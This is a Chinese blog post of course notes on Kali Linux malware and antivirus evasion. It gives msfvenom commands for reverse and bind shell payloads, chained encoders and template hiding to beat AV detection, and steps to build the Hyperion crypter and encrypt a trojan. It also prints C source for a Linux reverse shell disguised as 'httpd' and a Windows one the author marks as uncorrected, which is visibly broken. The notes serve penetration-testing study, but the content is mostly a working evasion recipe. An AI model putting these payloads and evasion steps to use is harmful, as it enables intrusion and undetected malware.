本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 恶意软件

  • 病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
  • 在用户非自愿的情况下执行安装
    • 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……

2. 防病毒软件

  • 恶意程序最主要的防护手段

    • 杀毒软件/防病毒软件
    • 客户端/服务器/邮件防病毒
  • 检测原理

    • 基于二进制文件中特征签名的黑名单检测方法
    • 基于行为的分析方法(启发式)
  • 事后手段

    • 永远落后于病毒发展

3. 免杀技术

  • 修改二进制文件中的特征字符

    • 替换、擦除、修改
  • 加密技术(crypter)

    • 通过加密是的特征字符不可读,从而台币AV 检测
    • 运行时分片分段的解密执行,注入进程或 AV 不检查的无害文件中
  • 防病毒软件的检测

    • 恶意程序本身的特征字符
    • 加密器 cripter 的特征字符

4. 当前现状

  • 恶意软件制造者

    • 编写私有的 RAT 软件,避免普遍被 AV 所知的特征字符
    • 使用独有 crypter 软件加密恶意程序
    • 处事低调,尽量避免被发现
    • 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
    • Fully UnDetectable 还最高追求 (FUD)
  • AV 厂商

    • 广泛采集样本,尽快发现出现的病毒程序,更新病毒库
    • 一般新的恶意软件安全 UD 窗口期是一周左右
    • 乐毅软件制造者永无休止的拉锯战
    • 信的启发式检测技术尚有待完善(误杀漏杀)
  • 单一 AV 厂商的病毒库很难达到 100% 覆盖

  • 常用的 RAT 软件

    • 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore

5. 生成病毒程序

1. 生成程序

  • 生成反弹 shell

      root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o a.exe
    
  • 加密编码反弹 shell

      root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.132 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8  -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe
    
  • 比较编码前后的检测率

    • 未经过编码的 a.exe 检测率是 45%

      在这里插入图片描述

    • 经过编码的 b.exe 检测率是 45% ,原因是检测引擎对所使用的编码软件的加密痕迹进行检查

      在这里插入图片描述

2. 隐藏 shell

  • 利用模板隐藏 shell

      root@kali:~# msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o c.exe
    
  • 多重编码

      root@kali:~# msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe
    
  • 比较编码前后的检测率

    • 未经过编码的 c.exe 检测率是 40%

      在这里插入图片描述

    • 经过编码的 d.exe 检测率是 30%

      在这里插入图片描述

6. 软件保护

  • 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向

  • 常被恶意软件用于免杀目的

  • Hyperion (32bit PE 程序加密器)

  • Crypter / Container(解密器 PE Loader )

      root@kali:~# git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip
      root@kali:~# unzip Hyperion-1.2.zip
      root@kali:~# dpkg --add-architecture i386 && apt-get update && apt-get install wine32
    
      # 生成加密器
      root@kali:~# cd Hyperion-1.2 && i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o h.exe
      
      # 生成木马程序
      root@kali:~# msfvenom -p windows/shell/reverse_tcp lhost=10.10.10.131 lport=4444 --platform win -e x86/shikata_ga_nai -a x86 -f exe -o p.exe
    
      # 对木马程序进行加密
      root@kali:~# wine h.exe p.exe x.exe
    
  • 比较编码前后的检测率

    • 未经过编码的 p.exe 检测率是 45%

      在这里插入图片描述

    • 未经过编码的 x.exe 检测率是 37%

      在这里插入图片描述

7. 自己编写后门

  • Windows reverse shell

      root@kali:~# wine gcc.exe windows.c -o windows.exe -lws2_32
    
  • Linux shell

      root@kali:~# gcc linux_revers_shell.c -o linux
    
      # 测试程序
      root@kali:~# nc -nvlp 333
      root@kali:~# ./linux 127.0.0.1 333
    

    在这里插入图片描述
    在这里插入图片描述

  • linux_revers_shell.c

      #include <stdio.h>
      #include <sys/socket.h>
      #include <arpa/inet.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <netinet/in.h>
      
      int main(int argc, char *argv[])
      {
      	struct sockaddr_in sock;
      	int s;
      	if (argc != 3)
      	{
      		fprintf(stderr, "uso: <rhost> <rport>\n"); exit(1);
      	}
      	sock.sin_family  = AF_INET;
      	sock.sin_port = htons(atoi(argv[2]));
      	sock.sin_addr.s_addr = inet_addr(argv[1]);
      	s = socket(AF_INET, SOCK_STREAM, 0);
      	
      	connect(s,(struct sockaddr_in *)&sock, sizeof(struct sockaddr_in));
      	
      	dup2(s,0);
      	dup2(s,1);
      	dup2(s,2);
      	execl("/bin/sh","httpd",(char *)0); //precess httpd
      }
    
  • windows.c

      # 未修正错误
      #include <winsock2.h>
      #include <stdio.h>
      
      #pragma comment(lib,"ws2_32")
      
      	WSADATA wsaData;
      	SOCKET Winsock;
      	SOOKET Sock;
      	struct sockaddr_in hax;
      	char ip_addr[16];
      	STARTUPINFO ini_processo;
      	PROCESS_INFORMATION processo_info;
      	
      int main(int argc,char *argv[])
      	WSAStartup(MAKEWORD(2,2), wsaData);
      	winsock=WSASoket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
      	
      	if (argc != 3)
      	{fprintf(stderr,"Uso: <rhost> <rport>\n";) exit(1);}
      	struct hostent *host;
      	host = gethostbyname(argv [1] );
      	strcpy(ip_addr,inet_ntoa(*((struct in_addr *)host->h_addr)));
      
      	hax.sin_family = AF_INET;
      	hax.sin_port = htons(atoi(argv[2]));
      	hax.sin_addr.s_addr = inet_addr(ip_addr);
      
      	WSAConnect(Winsock,(SOCKADDR* &hax,sizeof(hax),NULL,NULL,NULL,NULL;
      	memset(&ini_processo,0,sizeof(ini_processo));
      	ini_processo.cb = sizeof(ini_processo);
      	ini_processo.dwFlags = START_USESTDHANDLES;
      	ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
      	CreateProcess(NULL,"cmd exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&process_info);
    

    在这里插入图片描述

Logo

更多推荐